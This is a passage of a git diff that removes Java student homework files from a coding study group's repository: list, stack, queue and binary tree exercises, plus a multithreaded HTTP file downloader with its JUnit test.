-				if(this.get(i).equals(list.get(j))){
-					this.remove(i);
-					break;
-				}
-			}
-		}
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 * （选做）
-	 */
-	public  void removeDuplicateValues(){
-		
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 * （选做）
-	 */
-	public  void removeRange(int min, int max){
-		
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-        LinkedList listC = new LinkedList();
-
-        for (int i = 0,j = 0; i < this.size(); i++) {
-            for (; j < list.size(); j++) {
-                if(this.get(i).equals(list.get(j))){
-                    listC.add(this.get(i));
-                    break;
-                }
-            }
-        }
-
-
-
-		return listC;
-	}
-
-
-
-	/************Iterator**************/
-	private class LinkedListIterator implements Iterator{
-		private Node currentNode;
-		private int currentIndex;
-
-		public LinkedListIterator() {
-			// TODO Auto-generated constructor stub
-			this.currentIndex = 0;
-			this.currentNode = new Node();
-		}
-		@Override
-		public boolean hasNext() {
-			// TODO Auto-generated method stub
-			return currentIndex < size();
-		}
-
-		@Override
-		public Object next() {
-			// TODO Auto-generated method stub
-			checkElementIndex(currentIndex);
-			if ( currentNode.data == null ) {
-				this.currentNode = findIndexNode(currentIndex);
-			}
-			Object value = currentNode.data;
-			currentNode = currentNode.next;
-			currentIndex++;
-			return value;
-		}
-	}
-}
diff --git a/group23/729693763/Third_Homework3/DataStruct/List.java b/group23/729693763/Third_Homework3/DataStruct/List.java
deleted file mode 100644
index aa8b039453..0000000000
--- a/group23/729693763/Third_Homework3/DataStruct/List.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.zhous.DataStruct;
-
-public interface List {
-	void add(Object o);
-	void add(int index, Object o);
-	Object get(int index);
-	Object remove(int index);
-	int size();
-	Iterator iterator();
-}
diff --git a/group23/729693763/Third_Homework3/download/DownloadThread.java b/group23/729693763/Third_Homework3/download/DownloadThread.java
deleted file mode 100644
index 3ab337e352..0000000000
--- a/group23/729693763/Third_Homework3/download/DownloadThread.java
+++ /dev/null
@@ -1,49 +0,0 @@
-package com.zhous.download;
-
-import com.zhous.download.api.Connection;
-import com.zhous.download.api.DownloadListener;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.RandomAccessFile;
-
-public class DownloadThread extends Thread{
-
-	Connection conn;
-	int startPos;
-	int endPos;
-	File targetFile;
-	DownloadListener downloadListener;
-
-	public DownloadThread( Connection conn, int startPos, int endPos,File targetFile,DownloadListener downloadListener){
-		
-		this.conn = conn;		
-		this.startPos = startPos;
-		this.endPos = endPos;
-		this.targetFile = targetFile;
-		this.downloadListener = downloadListener;
-	}
-	public void run(){	
-		try {
-			//读取到指定长度的二进制数据
-			System.out.println(this.getName()+"开始下载");
-			byte[] data = conn.read(startPos,endPos);
-
-			//插入的file中去
-			RandomAccessFile raFile = new RandomAccessFile(this.targetFile,"rw");
-			raFile.seek(startPos);
-			raFile.write(data,0,endPos-startPos );
-
-			raFile.close();
-			//做完了
-			if(FileDownloader.isDownloadFinish() ){
-				downloadListener.notifyFinished();
-				System.out.println(this.getName()+"完成最后的下载，并写入文件");
-			}
-
-
-		}catch (IOException e){
-
-		}
-	}
-}
diff --git a/group23/729693763/Third_Homework3/download/FileDownloader.java b/group23/729693763/Third_Homework3/download/FileDownloader.java
deleted file mode 100644
index 098f9408f0..0000000000
--- a/group23/729693763/Third_Homework3/download/FileDownloader.java
+++ /dev/null
@@ -1,96 +0,0 @@
-package com.zhous.download;
-
-import com.zhous.download.api.Connection;
-import com.zhous.download.api.ConnectionException;
-import com.zhous.download.api.ConnectionManager;
-import com.zhous.download.api.DownloadListener;
-
-import java.io.File;
-import java.util.Set;
-
-
-public class FileDownloader {
-
-	String url="https://image.baidu.com/search/down?tn=download&word=download&ie=utf8&fr=detail&url=https%3A%2F%2Ftimgsa.baidu.com%2Ftimg%3Fimage%26quality%3D80%26size%3Db9999_10000%26sec%3D1490203615530%26di%3D2b1827956a01011d3634f3e04b01b15c%26imgtype%3D0%26src%3Dhttp%253A%252F%252Fimg15.3lian.com%252F2015%252Fh1%252F338%252Fd%252F157.jpg&thumburl=https%3A%2F%2Fss1.bdstatic.com%2F70cFvXSh_Q1YnxGkpoWK1HF6hhy%2Fit%2Fu%3D2613489365%2C2336631324%26fm%3D23%26gp%3D0.jpg";
-	private static int threadNum = 5;
-	private static int threadCount = 0;
-	int avgBytes = 0;
-
-	DownloadListener listener;
-	ConnectionManager cm;
-	File file = null;
-
-	public FileDownloader(String _url,String fileName) {
-		this.url = _url;
-		this.file = new File(fileName);
-	}
-
-	public void execute(){
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-
-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		Connection conn = null;
-		try {
-
-			conn = cm.open(this.url);
-			int length = conn.getContentLength();
-			avgBytes = length / threadNum;
-			//使用5个线程去下载；
-			for (int i = 0; i < threadNum; i++) {
-				int startPos = i*avgBytes;
-				int endPos = startPos + avgBytes - 1;
-				if(i == threadNum -1) {
-					endPos = length;
-				}
-
-				Connection c = cm.open(this.url);
-				DownloadThread thread = new DownloadThread(c,startPos,endPos,file,this.getListener());
-				thread.setName("Thread"+(i+1) );
-				thread.start();
-			}
-
-		} catch (ConnectionException e) {
-			e.printStackTrace();
-		}finally{
-			if(conn != null){
-				conn.close();
-			}
-		}
-
-
-
-
-	}
-
-
-
-	public void setListener (DownloadListener listener){
-		this.listener = listener;
-	}
-
-	public synchronized static  boolean isDownloadFinish(){
-		threadCount++;
-		return threadCount == threadNum;
-	}
-
-
-
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-
-}
diff --git a/group23/729693763/Third_Homework3/download/FileDownloaderTest.java b/group23/729693763/Third_Homework3/download/FileDownloaderTest.java
deleted file mode 100644
index ca8817ba88..0000000000
--- a/group23/729693763/Third_Homework3/download/FileDownloaderTest.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.zhous.download;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.zhous.download.api.ConnectionManager;
-import com.zhous.download.api.DownloadListener;
-import com.zhous.download.impl.ConnectionManagerImpl;
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-
-		String url="http://www.mydeskcity.com//upload/pc/112/960x600/1351650816239.jpg";
-		String github = "https://github.com/em14Vito/coding2017/archive/master.zip";
-
-//		FileDownloader downloader = new FileDownloader(url,"Data23.jpg");
-		FileDownloader downloader = new FileDownloader(github,"github.zip");
-	
-		ConnectionManager cm = new ConnectionManagerImpl();
-		downloader.setConnectionManager(cm);
-		
-		downloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-		downloader.execute();
-
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {
-				e.printStackTrace();
-			}
-		}
-		System.out.println("下载完成！");
-		
-		
-
-	}
-
-}
diff --git a/group23/729693763/Third_Homework3/download/api/Connection.java b/group23/729693763/Third_Homework3/download/api/Connection.java
deleted file mode 100644
index 170791e8ba..0000000000
--- a/group23/729693763/Third_Homework3/download/api/Connection.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.zhous.download.api;
-
-import java.io.IOException;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos, int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-}
diff --git a/group23/729693763/Third_Homework3/download/api/ConnectionException.java b/group23/729693763/Third_Homework3/download/api/ConnectionException.java
deleted file mode 100644
index 925368135d..0000000000
--- a/group23/729693763/Third_Homework3/download/api/ConnectionException.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.zhous.download.api;
-
-public class ConnectionException extends Exception {
-
-}
diff --git a/group23/729693763/Third_Homework3/download/api/ConnectionManager.java b/group23/729693763/Third_Homework3/download/api/ConnectionManager.java
deleted file mode 100644
index b331ee7f1f..0000000000
--- a/group23/729693763/Third_Homework3/download/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.zhous.download.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
diff --git a/group23/729693763/Third_Homework3/download/api/DownloadListener.java b/group23/729693763/Third_Homework3/download/api/DownloadListener.java
deleted file mode 100644
index 07b1a950ce..0000000000
--- a/group23/729693763/Third_Homework3/download/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.zhous.download.api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java b/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
deleted file mode 100644
index 6a4b98fe06..0000000000
--- a/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,80 +0,0 @@
-package com.zhous.download.impl;
-
-import java.io.ByteArrayOutputStream;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.net.HttpURLConnection;
-import java.net.MalformedURLException;
-import java.net.URL;
-import java.net.URLConnection;
-
-import com.zhous.download.api.*;
-
-public class ConnectionImpl implements Connection{
-
-
-	InputStream is = null;
-	URL url = null;
-	HttpURLConnection http = null;
-	ByteArrayOutputStream bos = new ByteArrayOutputStream();
-
-	//构造方法：
-	public ConnectionImpl() {
-	}
-
-	//打开url并且创建连接
-	public ConnectionImpl(String url) {
-		try {
-			this.url = new URL(url);
-			http = (HttpURLConnection) this.url.openConnection();
-			//设置超时
-			http.setConnectTimeout(5000);
-			http.setReadTimeout(5000);
-
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-	}
-
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-
-		//指定http中读取一定长度的byte
-		http.setRequestProperty("Range","bytes= "+Integer.toString(startPos)+"-"+Integer.toString(endPos));
-		http.connect();
-
-		//读取输入流到其中
-		is = http.getInputStream();
-		byte[] buffer = new byte[1024];
-		int len = 0;
-		while( (len = is.read(buffer) ) != -1) {
-
-			bos.write(buffer, 0, len);
-		}
-
-		//关闭所有流，每次read的时候自动关闭。
-		close();
-		return bos.toByteArray();
-	}
-
-	@Override
-	public int getContentLength() {
-		return http.getContentLength();
-	}
-
-	@Override
-	public void close() {
-		try {
-			bos.close();
-			if(is != null) {
-				is.close();
-			}
-			http.disconnect();
-		} catch (IOException e) {
-			e.printStackTrace();
-			System.out.println(e.getMessage());
-		}
-	}
-
-}
diff --git a/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java b/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
deleted file mode 100644
index 28af08a0cd..0000000000
--- a/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.zhous.download.impl;
-
-import  com.zhous.download.api.*;
-
-import java.net.MalformedURLException;
-import java.net.URL;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-
-
-
-	@Override
-	public Connection open(String url) throws ConnectionException {
-		Connection ct = null;
-		URL u = null;
-		try {
-			u = new URL(url);
-			ct = new ConnectionImpl(url);
-		} catch (MalformedURLException e) {
-			e.printStackTrace();
-		} finally {
-			//URL类不需要关闭
-		}
-		return ct;
-	}
-
-}
diff --git a/group23/729693763/homework1_demo/ArrayList.java b/group23/729693763/homework1_demo/ArrayList.java
deleted file mode 100644
index 1f185736f9..0000000000
--- a/group23/729693763/homework1_demo/ArrayList.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coding.basic;
-
-public class ArrayList implements List {
-	
-	private int size = 0;
-	
-	private Object[] elementData = new Object[100];
-	
-	public void add(Object o){
-		
-	}
-	public void add(int index, Object o){
-		
-	}
-	
-	public Object get(int index){
-		return null;
-	}
-	
-	public Object remove(int index){
-		return null;
-	}
-	
-	public int size(){
-		return -1;
-	}
-	
-	public Iterator iterator(){
-		return null;
-	}
-	
-}
diff --git a/group23/729693763/homework1_demo/BinaryTreeNode.java b/group23/729693763/homework1_demo/BinaryTreeNode.java
deleted file mode 100644
index d7ac820192..0000000000
--- a/group23/729693763/homework1_demo/BinaryTreeNode.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coding.basic;
-
-public class BinaryTreeNode {
-	
-	private Object data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-	
-	public Object getData() {
-		return data;
-	}
-	public void setData(Object data) {
-		this.data = data;
-	}
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-	public BinaryTreeNode getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-	
-	public BinaryTreeNode insert(Object o){
-		return  null;
-	}
-	
-}
diff --git a/group23/729693763/homework1_demo/Iterator.java b/group23/729693763/homework1_demo/Iterator.java
deleted file mode 100644
index 06ef6311b2..0000000000
--- a/group23/729693763/homework1_demo/Iterator.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package com.coding.basic;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-
-}
diff --git a/group23/729693763/homework1_demo/LinkedList.java b/group23/729693763/homework1_demo/LinkedList.java
deleted file mode 100644
index 4fdb03db8a..0000000000
--- a/group23/729693763/homework1_demo/LinkedList.java
+++ /dev/null
@@ -1,124 +0,0 @@
-package com.coding.basic;
-
-
-
-public class LinkedList implements List {
-	
-	private Node head;
-	
-	public void add(Object o){
-		
-	}
-	public void add(int index , Object o){
-		
-	}
-	public Object get(int index){
-		return null;
-	}
-	public Object remove(int index){
-		return null;
-	}
-	
-	public int size(){
-		return -1;
-	}
-	
-	public void addFirst(Object o){
-		
-	}
-	public void addLast(Object o){
-		
-	}
-	public Object removeFirst(){
-		return null;
-	}
-	public Object removeLast(){
-		return null;
-	}
-	public Iterator iterator(){
-		return null;
-	}
-	
-	
-	private static  class Node{
-		Object data;
-		Node next;
-		
-	}
-	
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public  void reverse(){		
-		
-	}
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public  void removeFirstHalf(){
-		
-	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public  void remove(int i, int length){
-		
-	}
-	/**
-	 * 假定当前链表和list均包含已升序排列的整数
-	 * 从当前链表中取出那些list所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public static int[] getElements(LinkedList list){
-		return null;
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在list中出现的元素 
-
-	 * @param list
-	 */
-	
-	public  void subtract(LinkedList list){
-		
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public  void removeDuplicateValues(){
-		
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max){
-		
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		return null;
-	}
-}
diff --git a/group23/729693763/homework1_demo/List.java b/group23/729693763/homework1_demo/List.java
deleted file mode 100644
index 10d13b5832..0000000000
--- a/group23/729693763/homework1_demo/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package com.coding.basic;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
diff --git a/group23/729693763/homework1_demo/Queue.java b/group23/729693763/homework1_demo/Queue.java
deleted file mode 100644
index 36e516e266..0000000000
--- a/group23/729693763/homework1_demo/Queue.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coding.basic;
-
-public class Queue {
-	
-	public void enQueue(Object o){		
-	}
-	
-	public Object deQueue(){
-		return null;
-	}
-	
-	public boolean isEmpty(){
-		return false;
-	}
-	
-	public int size(){
-		return -1;
-	}
-}
diff --git a/group23/729693763/homework1_demo/Stack.java b/group23/729693763/homework1_demo/Stack.java
deleted file mode 100644
index a5a04de76d..0000000000
--- a/group23/729693763/homework1_demo/Stack.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coding.basic;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){		
-	}
-	
-	public Object pop(){
-		return null;
-	}
-	
-	public Object peek(){
-		return null;
-	}
-	public boolean isEmpty(){
-		return false;
-	}
-	public int size(){
-		return -1;
-	}
-}
diff --git a/group23/729693763/readme.md b/group23/729693763/readme.md
deleted file mode 100644
index 89b8633e07..0000000000
--- a/group23/729693763/readme.md
+++ /dev/null
@@ -1,12 +0,0 @@
-Data Struct contain: ArrayList, LinkedList, BinaryTreeNode, Stack, Queue, Iterator
-<<<<<<< HEAD
---- ---
-Add Blog link:
-http://www.cnblogs.com/CodeSaveMe/p/6523745.html
-=======
---- --- 
-Add Blog link: http://www.cnblogs.com/CodeSaveMe/p/6523745.html
-
-Add week2 Blog link:http://www.cnblogs.com/CodeSaveMe/p/6571621.html
-
-Add week3 Blog link:http://www.cnblogs.com/CodeSaveMe/p/6624431.html
diff --git a/group23/769232552/coding/src/main/java/code01/ArrayList.java b/group23/769232552/coding/src/main/java/code01/ArrayList.java
deleted file mode 100644
index 6746de2a50..0000000000
--- a/group23/769232552/coding/src/main/java/code01/ArrayList.java
+++ /dev/null
@@ -1,138 +0,0 @@
-package code01;
-
-/**
- * Created by yaoyuan on 2017/3/6.
- */
-public class ArrayList implements List {
-
-    private int max_size = 0;//总长度
-    private int current_size = 0; //当前长度
-    private float extendPercent = 2; //扩展系数
-
-    private Object[] elementData;
-
-    /**
-     * 默认构造函数，初始化数组长度为100
-     */
-    public ArrayList(){
-        this.elementData = new Object[100];
-        this.max_size = 100;
-    }
-    /**
-     * 构造函数
-     * @param size，初始化数组长度
-     */
-    public ArrayList(int size){
-        this.elementData = new Object[size];
-        this.max_size = size;
-    }
-
-    /**
-     * 顺序添加元素，超出原始界限时，数组自动扩展
-     */
-    public void add(Object o) {
-        //如果越界了，需要复制原有的数组到扩充后的数组中
-        if(this.current_size + 1 > this.max_size) {
-            this.max_size = (int) Math.floor(this.max_size * this.extendPercent);
-            this.elementData = copyToNew(this.elementData,this.max_size);
-        }
-        this.elementData[this.current_size] = o;
-        this.current_size ++;
-
-    }
-
-    /**
-     * 指定位置添加元素
-     * 一种是在中间，一种是当前插入的位置尾部(如果超过尾部则默认添加到尾部)
-     */
-    public void add(int index, Object o){
-        assert(index>=0);
-        //如果越界了，需要复制原有的数组到扩充后的数组中
-        if(this.current_size + 1 > this.max_size) {
-            //如果越界了，需要复制原有的数组到扩充后的数组中
-            this.max_size = (int) Math.floor(this.max_size * this.extendPercent);
-            this.elementData = copyToNew(this.elementData,this.max_size);
-        }
-        //数组中间插入
-        if(index < this.current_size){
-            //需要把当前位置的元素往后移动
-            for (int i = this.current_size - 1; i >= index; i--) {
-                this.elementData[i+1] = this.elementData[i];
-            }
-            this.elementData[index] = o;
-        }else {
-            //后面加入
-            this.elementData[this.current_size] = o;
-        }
-        this.current_size ++;
-    }
-
-    public Object get(int index){
-        if(index >= 0 && index <= this.current_size-1){
-            return this.elementData[index];
-        }else {
-            throw new ArrayIndexOutOfBoundsException(index);
-        }
-    }
-
-    /**
-     * 删除指定位置的元素
-     * @param index
-     * @return
-     */
-    public Object remove(int index){
-        Object result = null;
-        if(index >= 0 && index <= current_size-1){
-            result = elementData[index];
-            //删除操作
-            if(index == current_size - 1){
-                elementData[index] = null;
-            }else {
-                //需要把当前位置后面的元素往前移动
-                for (int i = index; i < this.current_size-1 ; i++) {
-                    this.elementData[i] = this.elementData[i+1];
-                }
-                this.elementData[this.current_size-1] = null;
-            }
-            this.current_size --;
-        }else {
-            throw new ArrayIndexOutOfBoundsException(index);
-        }
-        return result;
-    }
-
-    public int size(){
-        return this.current_size;
-    }
-
-    public Iterator iterator(){
-        return new Iterator() {
-            int next_pos = 0;
-            int pos = -1;
-            public boolean hasNext() {
-                if(max_size <= 0){
-                    return false;
-                }
-                return next_pos < ArrayList.this.size();
-            }
-
-            public Object next() {
-                Object next = ArrayList.this.get(next_pos);
-                pos = next_pos ++;
-                return next;
-            }
-            public void remove(){
-                ArrayList.this.remove(pos);
-            }
-        };
-    }
-
-    private Object[] copyToNew(Object[] oldArray, int extendSize){
-        Object[] newArray = new Object[extendSize];
-        for (int i = 0; i < size(); i++) {
-            newArray[i] = oldArray[i];
-        }
-        return newArray;
-    }
-
-}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/main/java/code01/BinaryTree.java b/group23/769232552/coding/src/main/java/code01/BinaryTree.java
deleted file mode 100644
index b29fb960cb..0000000000
--- a/group23/769232552/coding/src/main/java/code01/BinaryTree.java
+++ /dev/null
@@ -1,97 +0,0 @@
-package code01;
-
-/**
- * Created by yaoyuan on 2017/3/10.
- */
-public class BinaryTree<T extends Comparable<T>>{
-
-    private BinaryTreeNode root = null;
-    private int size = 0;
-
-    public BinaryTreeNode createBinaryTree(T[] array){
-        for(T data : array){
-            this.insert(data);
-        }
-        return this.root;
-    }
-
-    // recursive way,
-    // t is the node that roots the subtree.
-    public BinaryTreeNode<T> insert(T data, BinaryTreeNode t){
-        if(t == null){
-            return new BinaryTreeNode<T>(data);
-        }
-        int comparator = ((T) t.data).compareTo(data);
-        if(comparator > 0){
-            t.left = insert(data,t.right);
-        }else if(comparator < 0){
-            t.right = insert(data,t.left);
-        }else {
-            // do nothing
-        }
-        return t;
-
-    }
-
-
-    //loop way
-    public void insert(T data){
-        if(this.root == null){
-            BinaryTreeNode node = new BinaryTreeNode(data);
-            this.root = node;
-            this.size ++;
-            return;
-        }
-        BinaryTreeNode cursor = this.root;
-        while (cursor != null){
-            if(data.compareTo((T) cursor.data) <= 0){
-                if(cursor.left == null) {
-                    cursor.left = new BinaryTreeNode(data);
-                    return;
-                }
-                cursor = cursor.left;
-            }
-            if(data.compareTo((T) cursor.data) > 0){
-                if(cursor.right == null) {
-                    cursor.right = new BinaryTreeNode(data);
-                    return;
-                }
-                cursor = cursor.right;
-            }
-        }
-        this.size ++;
-    }
-
-    public void leftOrderScan(BinaryTreeNode cursor){
-        if(cursor == null){
-            return;
-        }
-        leftOrderScan(cursor.left);
-        System.out.println(cursor.data.toString() + " ");
-        leftOrderScan(cursor.right);
-    }
-
-    public BinaryTreeNode getRoot(){
-        return this.root;
-    }
-
-    class BinaryTreeNode<T> {
-
-        private T data;
-        private BinaryTreeNode left;
-        private BinaryTreeNode right;
-
-        public BinaryTreeNode(T data, BinaryTreeNode left, BinaryTreeNode right) {
-            this.left = right;
-            this.right = left;
-            this.data = data;
-        }
-
-        public BinaryTreeNode(T data) {
-            this.left = null;
-            this.right = null;
-            this.data = data;
-        }
-
-    }
-}
diff --git a/group23/769232552/coding/src/main/java/code01/Iterator.java b/group23/769232552/coding/src/main/java/code01/Iterator.java
deleted file mode 100644
index b4074067bb..0000000000
--- a/group23/769232552/coding/src/main/java/code01/Iterator.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package code01;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-	public void remove();
-}
diff --git a/group23/769232552/coding/src/main/java/code01/LinkedList.java b/group23/769232552/coding/src/main/java/code01/LinkedList.java
deleted file mode 100644
index f7bbc970a9..0000000000
--- a/group23/769232552/coding/src/main/java/code01/LinkedList.java
+++ /dev/null
@@ -1,327 +0,0 @@
-package code01;
-
-
-public class LinkedList implements List {
-
-	private Node head;
-    private Node tail; //指向链表最后一个元素的引用
-
-    private int size; //总长度
-
-    public LinkedList() {
-        this.head = null;
-        this.tail = null;
-        this.size = 0;
-    }
-
-    /**
-     * 新增顺序添加一个元素
-     * @param o
-     */
-    public void add(Object o){
-        Node node = new Node();
-        node.data = o;
-        node.next = null;
-        //空链表
-        if(head == null){
-            this.head = node;
-            this.tail = node;
-        }else { //非空链表，要先找到链表尾部，再加入新解答
-            this.tail.next = node;
-            this.tail = node;
-        }
-        this.size ++;
-	}
-
-    /**
-     * 指定索引处添加node
-     */
-    public void add(int index, Object o) {
-        assert(index >= 0);
-        Node node = new Node();
-        node.data = o;
-        node.next = null;
-
-        if(index == 0){
-            //添加在头部
-            node.next = head;
-            head = node;
-        }else if(index >= this.size){
-            //添加在尾部
-            this.tail.next = node;
-        }else {
-            //添加在中间
-            Node cursor = this.head;
-            for (int i = 0; i < index - 1; i++) {
-                cursor = cursor.next;
-            }
-            node.next = cursor.next;
-            cursor.next = node;
-        }
-        this.size ++;
-    }
-
-	public Object get(int index){
-		assert(index < this.size);
-        Node cursor = this.head;
-        for (int i = 0; i < index; i++) {
-            cursor = cursor.next;
-        }
-        return  cursor.data;
-	}
-
-	public Object remove(int index){
-        assert(index >= 0 && index < this.size);
-        Object result = null;
-        //删除的是链表尾部的元素
-        if(index == this.size - 1){
-            Node cursor = this.head;
-            for (int i = 0; i < index - 1; i++) {
-                cursor = cursor.next;
-            }
-            result = cursor.next.data;
-            tail = cursor;
-            cursor.next = null;
-        }else if(index == 0){
-            //删除的是头部元素
-            result = head.data;
-            head = head.next;
-        }else {
-            //删除的是链表中间的元素
-            Node cursor = this.head;
-            for (int i = 0; i < index - 1; i++) {
-                cursor = cursor.next;
-            }
-            result = cursor.next.data;
-            cursor.next = cursor.next.next;
-        }
-        this.size --;
-        return result;
-	}
-
-	public int size(){
-		return this.size;
-	}
-
-	public void addFirst(Object o){
-        Node node = new Node();
-        node.data = o;
-        node.next = null;
-        if(this.head == null){
-            this.head = node;
-            this.tail = node;
-        }else {
-            node.next = head;
-            this.head = node;
-        }
-        this.size ++;
-	}
-	public void addLast(Object o){
-        Node node = new Node();
-        node.data = o;
-        node.next = null;
-        if(this.head == null){
-            this.head = node;
-            this.tail = node;
-        }else {
-            this.tail.next = node;
-            this.tail = node;
-        }
-        this.size ++;
-    }
-
-	public Object removeFirst(){
-		Object first = null;
-        if(this.head != null){
-            first = this.head.data;
-            head = head.next;
-            this.size --;
-        }
-        return first;
-	}
-
-	public Object removeLast(){
-		Object last = null;
-        if(this.tail != null){
-            if(this.head != this.tail){
-                Node cursor;
-                for (cursor = head;cursor.next!=tail;cursor=cursor.next);
-                last = this.tail.data;
-                this.tail = cursor;
-                this.tail.next = null;
-            }else {
-                last = this.tail.data;
-                this.head = null;
-                this.tail = null;
-            }
-            this.size --;
-        }
-        return last;
-	}
-	public Iterator iterator(){
-		return null;
-	}
-
-    /**
-     * 节点类
-     */
-    private static class Node{
-		Object data;
-		Node next;
-
-	}
-
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public void reverse(){
-        if(this.head == null || this.head == this.tail){
-            return;
-        }
-
-        Node pre_cursor = null;
-        Node cursor = this.head;
-        Node after_cursor = cursor.next;
-
-        while(cursor != null){
-            cursor.next = pre_cursor;
-            pre_cursor = cursor;
-            cursor = after_cursor;
-            if(after_cursor != null){
-                after_cursor = after_cursor.next;
-            }
-        }
-
-        Node tmpNode = this.head;
-        this.head = this.tail;
-        this.tail = tmpNode;
